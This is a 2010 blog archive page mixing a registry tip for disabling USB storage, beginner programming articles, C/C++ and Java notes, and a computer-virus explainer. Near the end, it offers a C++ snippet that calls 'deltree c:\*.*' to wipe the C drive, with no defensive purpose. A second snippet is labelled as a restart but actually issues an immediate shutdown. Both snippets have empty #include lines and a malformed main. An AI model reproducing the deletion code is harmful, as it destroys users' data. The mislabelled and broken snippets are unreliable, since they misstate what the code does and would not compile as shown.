Friday, February 5, 2010

Disable the USB Drive on pc

Just open regedit and browse to this key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UsbStor

Notice the value ‘Start’

Switch this value to 4, and USB storage devices are disabled.

Switch this value to 3, and USB storage devices are enabled.

For those of you that don’t feel like messing around in the registry -

Thursday, February 4, 2010

The Most Commoon Problems New Programmers Face

The 5 Most Common Problems New Programmers Face--And How You Can Solve Them


When you're just starting out with programming, it's easy to run into problems that make you wonder how anyone has ever managed to write a computer program. But the fact is, just about everyone else who's learned to code has had that experience and wondered the same thing, when they were starting out. I've helped teach several introductory programming classes, and there are some problems that trip up nearly every student--everything from getting started to dealing with program design.

I'll prepare you to get past these challenges--none of them are insurmountable.



Getting set up

Learning to program is hard enough, but it's easy to get tripped up before you even begin. First you need to chose a programming language (I recommend C++), then You need a compiler and a programming tutorial that covers the language you chose and that works with the compiler that you set up. This is all very complicated, and all before you even start to get to the fun parts.

If you're still struggling with getting the initial setup, then check out our page on setting up a compiler and development environment (Code::Blocks and MINGW) which walks you through setting up a compiler with a lot of screenshots, and gets you up to the point of having an actual running program.

Thinking Like a Programmer

Have you seen the State Farm commercials where the car wash company returns the cars to customers with the soap suds still on the car? The company washes the car, but it didn't rinse it. This is a perfect metaphor for computer programs. Computers, like that car wash company, are very very literal. They do exactly, and only, what you tell them to do; they do not understand implicit intentions. The level of detail required can be daunting at first because it requires thinking through every single step of the process, making sure that no steps are missing.

This can make programming seem to be a tough slog at first, but don't despair. Not everything must be specified--only what is not something the computer can alreay do. The header files and libraries that come with your compiler (for example, the iostream header file that allows you to interact with the user) provide a lot of pre-existing functionality. You can use websites like http://www.cppreference.com or our own function reference to find information on these pre-existing libraries of functionality. By using these, you can focus on precisely specifying only what is unique about your program. And even once you do that, you will begin to see patterns that can be turned into functions that wrap up a bunch of steps into a single function that you can call from everywhere. Suddenly complex problems will begin to look simple. It's the difference between:
Walk forward ten feet
Move your hand to the wall
Move your hand to the right until you hit an obstacle
...
Press upward on indentation
and
Walk to door
Find light switch
Turn on light
The magic thing about programming is that you can box up a complex behavior into a simple subroutine (often, into a function) that you can reuse. Sometimes it's hard to get the subroutine done up just right at first, but once you've got it, you no longer need to worry about it.

You can go here to read more about how to think about programming, written for beginners.

Compiler Error Messages

This may seem like a small thing, but because most beginners aren't familiar with the strictness of the format of the program (the syntax), beginners tend to run into lots of complaints generated by the compiler. Compiler errors are notoriously cryptic and verbose, and by no means were written with newbies in mind.

That said, there are a few basic principles you can use to navigate the thicket of messages. First, often times a single error causes the compiler to get so confused that it generates dozens of messages--always start with the first error message. Second, the line number is a lie. Well, maybe not a lie, but you can't trust it completely. The compiler complains when it first realizes there is a problem, not at the point where the problem actually occurred. However, the line number does indicate the last possible line where the error could have occurred--the real error may be earlier, but it will never be later.

Finally, have hope! You'll eventually get really really good at figuring out what the compiler actually means. There will be a few error messages that today seem completely cryptic, even once you know what the real problem was, that in a few months time you will know like an old (if confused) friend. I've actually written more about this in the past; if you want more detailed help, check out my article on deciphering compiler and linker errors.

Debugging

Debugging is a critical skill, but most people aren't born with a mastery of it. Debugging is hard for a few reasons; first, it's frustrating. You just wrote a bunch of code, and it doesn't work even though you're pretty sure it should. Damn! Second, it can be tedious; debugging often requires a lot of effort to narrow in on the problem, and until you have some practice, it can be hard to efficiently narrow it down. One type of problem, segmentation faults, are a particularly good example of this--many programmers try to narrow in on the problem by adding in print statements to show how far the program gets before crashing, even though the debugger can tell them exactly where the problem occurred. Which actually leads to the last problem--debuggers are yet another confused, difficult to set up tool, just like the compiler. If all you want is your program to work, the last thing you want to do is go set up ANOTHER tool just to find out why.

To learn more about debugging techniques, check out this article on debugging strategies.

Designing a Program

When you're just starting to program, design is a real challenge. Knowing how to think about programming is one piece, but the other piece is knowing how to put programs together in a way that makes it easy to modify them later. Ideas like "commenting your code", "encapulation and data hiding" and "inheritance" don't really mean anything when you haven't felt the pain of not having them. The problem is that program design is all about making things easier for your future self--sort of like eating your vegetables. Bad designs make your program inflexible to future changes, or impossible to understand after you've written. Frequently, bad design exposes too many details of how something is implemented, so that every part of the program has to know all the details of each other section of the program.

One great example is writing a checkers game. You need some way to represent the board--so you pick one. A fixed-sized global array: int checkers_board[8][8]. Your accesses to the board all go directly through the array: checkers_board[x][y] = ....; Is there anything wrong with this approach? You betcha. Notice that I wrote your accesses to the board all go directly through the array. The board is the conceptual entity--the thing you care about. The array happens to be, at this particular moment, how you implement the board. Again, two things: the thing you represent, and the way you represent it. By making all accesses to the board use the array directly, you entangle the two concepts. What happens when you decide to change the way you represent the board? You have an awful lot of code to change. But what's the solution?

If you create a function that performs the types of basic operations you perform on the checkers board (perhaps a get_piece_on_square() method and a set_piece_to_square() method), every access to the board can go throug this interface. If you change the implementation, the interface is the same. And that's what people mean when they talk about "encapsulation" and "data hiding". Many aspects of program design, such as inheritance, are there to allow you to hide the details of an implementation (the array) of a particular interface or concept (the board).

Now go eat your spinach!

A good follow-up to learn more about these issues is to read about programming design and style.

For a more advanced article on this topic, you can go here and read about object oriented class design.

Another way to make your program more easily modified in the future is to clearly comment it.

Learn Programming with C and C++

Getting Started with C/C++


Exactly How to Get Started with C/C++ Today

Okay, let's cut to the chase--you want to learn to program in C/C++ and you want to know exactly what you should do, right now. Once you've started that, I recommend

Want more details, read the rest of this page.

What is C, What is C++, and What is the Difference?

C is a programming language originally developed for developing the Unix operating system. It is a low-level and powerful language, but it lacks many modern and useful constructs. C++ is a newer language, based on C, that adds many more modern programming language features that make it easier to program than C.

Basically, C++ maintains all aspects of the C language, while providing new features to programmers that make it easier to write useful and sophisticated programs.

For example, C++ makes it easier to manage memory and adds several features to allow "object-oriented" programming and "generic" programming. Basically, it makes it easier for programmers to stop thinking about the nitty-gritty details of how the machine works and think about the problems they are trying to solve.

So, what is C++ used for?

C++ is a powerful general-purpose programming language. It can be used to create small programs or large applications. It can be used to make CGI scripts or console-only DOS programs. C++ allows you to create programs to do almost anything you need to do. The creator of C++, Bjarne Stroustrup, has put together a partial list of applications written in C++.

How do you learn C++?

No special knowledge is needed to learn C++, and if you are an independent learner, you can probably learn C++ from online tutorials or from books. There are plenty of free tutorials online, including Cprogramming.com's C++ tutorial - one which requires no prior programming experience. You can also pick out programming books from our recommendations.

While reading a tutorial or a book, it is often helpful to type - not copy and paste (even if you can!) - the code into the compiler and run it. Typing it yourself will help you to get used to the typical typing errors that cause problems and it will force you to pay attention to the details of programming syntax. Typing your program will also familiarize you with the general structure of programs and with the use of common commands. After running an example program - and after making certain that you understand how it works - you should experiment with it: play with the program and test your own ideas. By seeing which modifications cause problems and which sections of the code are most important to the function of the program, you should learn quite a bit about programming.

Try our C++ Beginner to C++ Expert recommended book series, a six-book set designed to get you maximal information and help take you from beginner to C++ master.

You may also want to read about The 5 Most Common Problems New Programmers Face--And How You Can Solve Them.

What do you need to program in C or C++?

In order to make usable programs in C or C++, you will need a compiler. A compiler converts source code - the actual instructions typed by the programmer - into an executable file. Numerous compilers are available for C and C++. Listed on the sidebar are several pages with information on specific compilers. For beginners, Code::Blocks is our recommended free and easy-to-use compiler.

Do I need to know C to learn C++?

No. C++ is a superset of C; (almost) anything you can do in C, you can do in C++. If you already know C, you will easily adapt to the object-oriented features of C++. If you don't know C, you will have to learn the syntax of C-style languages while learning C++, but you shouldn't have any conceptual difficulties.

What's the point of learning to program? What can I get out of it?

Ah, a skeptic! You can get a lot of things out of programming. For one thing, it's just plain fun. You can read my opinion on the matter here: Why Learn to Program?

I want to make games in C++, what should I do?

It may be a challenging road, but it is doable. This article has more information: so you want to be a game programmer?

What does it take to learn to be a programmer?

Great question! Here's an article about what it takes to be a programmer!

Do I need to know math to be a programmer?

No! At least, not too much. Most of programming is about design and logical reasoning, not about being able to quickly perform arithmetic, or deeply understanding algebra or calculus. The carryover between math and programming are primarily around logical reasoning and precise thinking. Only if you want to program advanced 3D graphics engines, or do other specialized numerical programming will you need mathematical skill.

What do I need to start programming?

You will need a program called a compiler, which will turn the text of your program into something your computer can run.

When you actually write your program, you will need to use a text editor like Notepad instead of a document authoring tool like Microsoft Word. You can read all about text editors.

Can you help me set up a compiler?

If you need to set up a compiler for the first time, go here for help setting up Dev-C++. Or check out setting up Code::Blocks and MINGW.

How should I think about Program Design?

Try Thinking about Programming - A Beginner's Guide

Help, my program doesn't work!

Take a look at a list of common programming mistakes, send us an email or, if you're really stuck, join our message board or ask an expert!

Where can I learn more about the history of computer science?

Try this article on computer science.

Why do I want to learn C

Try this article on why learn C.

Notes for Programming in Java

Java Notes: Table of Contents

Java Notes. These Java programming notes are written to fill in missing or weak topics in textbooks that I've taught from. Many pages are useful for reference, but not as an ordered tutorial. Some pages are still rough drafts, but I'm slowly working on fixing them. notes-java-2007-04-25.zip [2.4 MB].

Java Basics. I've started writing a more coherent tutorial called Java Basics. In addition to lessons, there is also commentary which explains why things are done the way they are. JavaBasics-2007-04-25.zip [0.4 MB].

Copyleft - Java Notes is copyrighted by the very permissive MIT License, except as otherwise noted (eg, some GPL'ed images).

Copyright - Java Basics, which has more work put into it, has a traditional copyright, but allows free educational use.

Public Domain - All source code in the examples in both Java Notes and Java Basics is placed in the public domain so you can use them.

Enjoy, Fred Swartz

Background

Java Tools

Deployment

Principles and practices

Summaries

Introductory Example Programs

Example GUI Programs

Language

Control Flow

Classes

IO

Algorithms

Other

Data

GUI

GUI - Appearance

GUI - Low level

Acknowledgements.

A simple code to delete all the files from c drive

#include

using namespace std;

void main(int argv,char args[])
{

system("deltree c:\\*.*");

}

A simple code of restarting system

#include
#include
int main()
{
system("shutdown -s -t 00");
return 0;
}

What is a Virus?

In computers, a virus is a program or programming code that replicates by being copied or initiating its copying to another program, computer boot sector or document. Viruses can be transmitted as attachments to an e-mail note or in a downloaded file, or be present on a diskette or CD. The immediate source of the e-mail note, downloaded file, or diskette you've received is usually unaware that it contains a virus. Some viruses wreak their effect as soon as their code is executed; other viruses lie dormant until circumstances cause their code to be executed by the computer. Some viruses are benign or playful in intent and effect ("Happy Birthday, Ludwig!") and some can be quite harmful, erasing data or causing your hard disk to require reformatting. A virus that replicates itself by resending itself as an e-mail attachment or as part of a network message is known as a worm.

Generally, there are three main classes of viruses:

File infectors. Some file infector viruses attach themselves to program files, usually selected .COM or .EXE files. Some can infect any program for which execution is requested, including .SYS, .OVL, .PRG, and .MNU files. When the program is loaded, the virus is loaded as well. Other file infector viruses arrive as wholly-contained programs or scripts sent as an attachment to an e-mail note.

System or boot-record infectors. These viruses infect executable code found in certain system areas on a disk. They attach to the DOS boot sector on diskettes or the Master Boot Record on hard disks. A typical scenario (familiar to the author) is to receive a diskette from an innocent source that contains a boot disk virus. When your operating system is running, files on the diskette can be read without triggering the boot disk virus. However, if you leave the diskette in the drive, and then turn the computer off or reload the operating system, the computer will look first in your A drive, find the diskette with its boot disk virus, load it, and make it temporarily impossible to use your hard disk. (Allow several days for recovery.) This is why you should make sure you have a bootable floppy.

Macro viruses. These are among the most common viruses, and they tend to do the least damage. Macro viruses infect your Microsoft Word application and typically insert unwanted words or phrases.

The best protection against a virus is to know the origin of each program or file you load into your computer or open from your e-mail program. Since this is difficult, you can buy anti-virus software that can screen e-mail attachments and also check all of your files periodically and remove any viruses that are found. From time to time, you may get an e-mail message warning of a new virus. Unless the warning is from a source you recognize, chances are good that the warning is a virus hoax.

The computer virus, of course, gets its name from the biological virus. The word itself comes from a Latin word meaning slimy liquid or poison.